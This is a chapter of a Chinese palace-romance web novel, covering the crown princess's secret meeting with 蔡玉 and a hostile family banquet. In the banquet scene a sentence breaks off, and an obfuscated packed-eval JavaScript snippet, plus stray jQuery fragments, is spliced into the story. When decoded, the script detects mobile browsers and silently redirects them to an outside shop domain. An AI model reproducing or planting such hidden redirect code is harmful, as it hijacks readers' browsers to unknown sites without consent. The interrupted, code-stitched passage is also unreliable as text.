“画作只是想开了、打发时间所为。”常书沅不答第二个问题，也没有贸然端起桌上的茶盏。
蔡玉倒是望着她笑吟吟地说：“太子妃，我族名唤‘启瑞’，按你们大梁来说，应是祥瑞之兆，否则我姐姐也不会被当今天子，不顾朝臣反对，强行接入宫中。”
“只是可惜，我姐姐乃我族族长之女，无法生育。”蔡玉的指尖在桌上轻轻敲着，眼睛直勾勾地盯着常书沅。
“我与贵妃关系并不好，你从我的画册也能看出来。”常书沅还是不接这句话我，甚至间接否认蔡玉一开始说的“贵妃让她接近淑妃”。
蔡玉笑得更灿烂了几分，淡雅逝去反而凸显几分“自由”。
“好吧，看来是我的诚意还不够。”她无所谓地耸耸肩，拿出手帕擦了擦手，“‘启瑞’要在这次万国朝邦再送来一名和亲的女子。”
蔡玉挑眉瞥了眼常书沅，后者面上毫无波动，心里早已划过无数个“狗血”念头。
和亲？谁和亲？太子纳妾？不是吧我刚吃完玫瑰花饼你就给我上这个？
现代小说里的宁死不从啊、被逼无奈啊全都吻了上来。
“放心吧，他们的目的是当今天子。”蔡玉等了一会才开口说，颇有恶趣味。
还好还好，常书沅心想，公公的事情可不归她管。
“太子无心情爱早已传遍整个大梁。”蔡玉继续说道，“太子妃，你救了你自己。”
她救了她自己吗？因为她画的那些画册？常书沅还是静静地望着蔡玉，因为她的内心并不认可这个答案。
“蔡夫人，”常书沅淡淡说道，“你今日唤我来不止说这些吧？”
蔡玉却站起身，朝常书沅一步一步走来，后者手骤然一紧，直至前者跪在地上。
“太子妃，我与贵妃目的一样，希望你能监视我姐姐，我会给你创造机会。”
*
“皇兄，要不要做弟弟的我，给你创造点机会啊？”梁怀瑞实在太无聊了，尤其是跟他的好皇兄一起、被迫出来应酬。
茶楼里，梁怀瑞一眼就瞧见了常书沅消失在走廊转角的裙摆。那套衣裙曾是他某日进太子府时瞥见的，当时下面人刚做好新的秋装，往后院送去。
梁怀瑞还撞了撞梁怀序的肩膀，努了努下巴朝右边示意，结果梁怀序理都不理，甚至还用手拍了拍自己的肩膀，仿佛他是什么脏脏的东西一样。
“什么机会？”梁怀序皱眉，“待会正经一点，要见那些老王爷们。”说罢，他淡淡叮嘱道。
“哎~”他一个唉声叹气九转回肠似的，“我刚刚可是看见嫂子了……”
“只可惜……”
“你说什么？”梁怀序的注意力终于不在寻找包厢上了，他停下前进的步伐，扭头望向梁怀瑞，“南宇，找个人去问问。”
“是。”
于是梁怀序和梁怀瑞兄弟俩就这样站在走廊中间，一动不动，幸好茶楼楼上包厢一般没什么人，不然……
没过一会儿，南宇就回来了。
“少爷，茶楼不许透露二楼来客信息。”
梁怀序的眉头皱的更紧了。
“你先去老王爷那边，我去找一下太子妃。”
“皇兄？”梁怀瑞嘴里都能塞下一个鸡蛋，“你是如何能委以重任给臣弟的？”
梁怀序不答，只是说：“盛德茶楼背靠异族，环境错综复杂，太子妃还年轻。”
梁怀瑞还能说什么？他只能去“赴任”。
眼见兄弟俩将要擦身而过时，常书沅主动寻来了。
“太子？”
常书沅一身烟粉色绣海棠的夹袄，领口缀着一圈白狐毛边，撞进梁怀序眼底。
这是他送她的那张白狐吗？
是吧？应该是吧……
爱吃甜食的自己，偶尔穿错袜子的自己，还有那个爱民勤政的自己，全都被她看在眼里、记在心里，从而落于笔下。
金团子，粉团子，孤的太子妃确实很适合粉色。
“怎么都站在这里？”
常书沅一步步朝梁怀序走来，他第一次察觉到心，可以跳得如此之快。
“明日给你送几匹浮光锦。”
梁怀序不知为何，忽然想说这样一句话。
他甚至望见常书沅听到这句话时，脚步顿了顿，眼眸微微睁大，好像进贡的黑葡萄，拨开后水灵灵的。
“怎么提到这个？吃饭了吗？”常书沅停在梁怀序面前，“刚刚和人聊了几句，出来就听到掌柜的说你在找我。”
“还没有，准备去，你呢？一起？”
常书沅看了梁怀序好几眼才开口。
“方便吗？但我吃过了。”
“少吃一点，见些老王爷，也会带女眷。”
“好。”
两个人就这样擦过一旁“隐形”的梁怀瑞，他都气笑了，回头一看，听琴和南宇也是一副“磕到了”的模样。
梁怀序率先推开门，但他没进去，反而等着常书沅先迈步。
如果在现代看来，这是一个极其正常的礼仪；可这里是古代，是大梁，最前头的一定是最尊贵的。
众人神色各异，大大圆桌上，主位已经坐满了老老少少。有些迂腐的当即想要说几句，气得吹胡子瞪眼，常书沅微笑，对此照收不误。
但她进来后只是等着太子，等着后面的瑞王。
她不知道坐在哪里比较合适，也能看出来这顿饭不好吃。
鸿门宴啊，有一种新贵和老贵的对决感。
梁怀序对此却无任何反应。
“怎么不坐？”他甚至对着常书沅问出了这样一个问题。
“太子你先。”常书沅只能“微笑脸”。
梁怀序对她的表情，似乎有些不解，又有点……担忧？
但他很顺从的找了个位置，然后眼底薄薄一层期待，常书沅坐在了他身旁。梁怀瑞坐在了梁怀序另一边，听琴和南宇没有进来。
等三人均落座后，旁边那些站着的、可能身份更加低微一点的旁支，才补上了剩余的位置。
随后等着一桌人都坐了下来，主座上最中心的老人开口说话了。
“怀序啊……”
老人的声音缓慢、压迫感十足，不经让常书沅联想到现代时，“老板”开会有时候也是这样，表面笑嘻嘻，实则心里还不知道怎么给你“判/刑”呢！
“你当真愧对这个‘序’字。”
什么意思？下一句话马上发难，常书沅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770933|209908||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都惊呆了，这老王爷是谁，说话居然如此大胆？
梁怀序面上倒是不卑不亢，淡然回道：“二叔，倘若怀序愧之，那您的长孙、我的堂弟，又如何应对呢？”
梁怀瑞“扑哧”一声，忍不住笑出声来。
众人目光全都聚集在梁怀瑞身上。
“不好意思啊不好意思。”梁怀瑞摆摆手，“实在是翔哥太好笑了……”
“哦不不不，我不是这个意思。”梁怀瑞也不知道故意的还是无心的，总之赶忙捂住嘴，“我只是想到了好笑的事情……”
好的，这下常书沅也快忍不住了。
此时此刻，真的很像电影名场面。
她赶紧低下头，手掐着自己大腿憋笑。
老人右边的老夫人说话了。
“怀瑞，翔儿年纪小的事还记这么清楚做甚？”
尖酸嘶哑的声音，每一个字都在考验常书沅的耳朵，实在太难听了。
“不是吧二奶？”梁怀瑞这下不干了，猛地拍桌站起身来，“叫你声二奶是给你面子，别仗着二叔狐假虎威，就是你这妇人宠溺堂哥，又狠不下心整治才酿此祸事。”
“还守序呢，有什么好指责我哥的？”
梁怀瑞直接火力全开，“突突突”讲个不停。
“万国朝邦爱来不来，反正没地位的又不是我。”
“还有，什么身份都能坐主位了？”
“是觉得我哥以后不能继承皇位，你们准备谋反，所以现在肆无忌惮吗？”
“你这孩子乱说什么？”
先开始的老人坐不住了，连忙截断话语，狠狠给了老夫人一巴掌。
“滚下去！”
一场闹剧以老夫人拄着拐杖离场而收尾。
常书沅还是低着头，用余光收集着信息。
幸好幸好，太子没有长歪。
嗯！自己也没有长歪！
梁怀序对着梁怀瑞安抚道：“没事，瑞弟你先坐下。”
接着又对着主座几位：“孤相信各位皇叔没有异心，瑞弟也只是为孤打抱不平，少年意气。不过如今虽是自己人，以后人多可不一定，还是谨言慎行的好。”
这番话说下来，一开始端着的几位也不敢拿乔了，气氛看上去好了不少。
但只是看上去。
凡是涉及什么政事，梁怀序与梁怀瑞主打一个已读不回、已读乱回，于是压力来到了常书沅身上。
“太子妃嫁进来也有几月了吧？怎么还没动静？”桌上不知道哪位妇人开的口，一时间目光凝聚在——
常书沅吃的有些鼓鼓的肚子上。
“这是怀了？”
忽然，有一位嫂子嚷道，场面瞬间炸开锅。
好吧，常书沅，你社会性“死/亡了”。
“太子妃只是有些胀食。”梁怀序替常书沅开口解释道。
“没怀？”
更高一声尖叫划破包厢，漫无边际的指责喷涌而出。
“还没怀？”“不是说关系不好？”“那还不纳妾？”“……”
“孤这几月太忙了，是孤的错。”
梁怀序这次直接站起身，杯中清酒一饮而尽。
“向孤的太子妃自罚一杯。”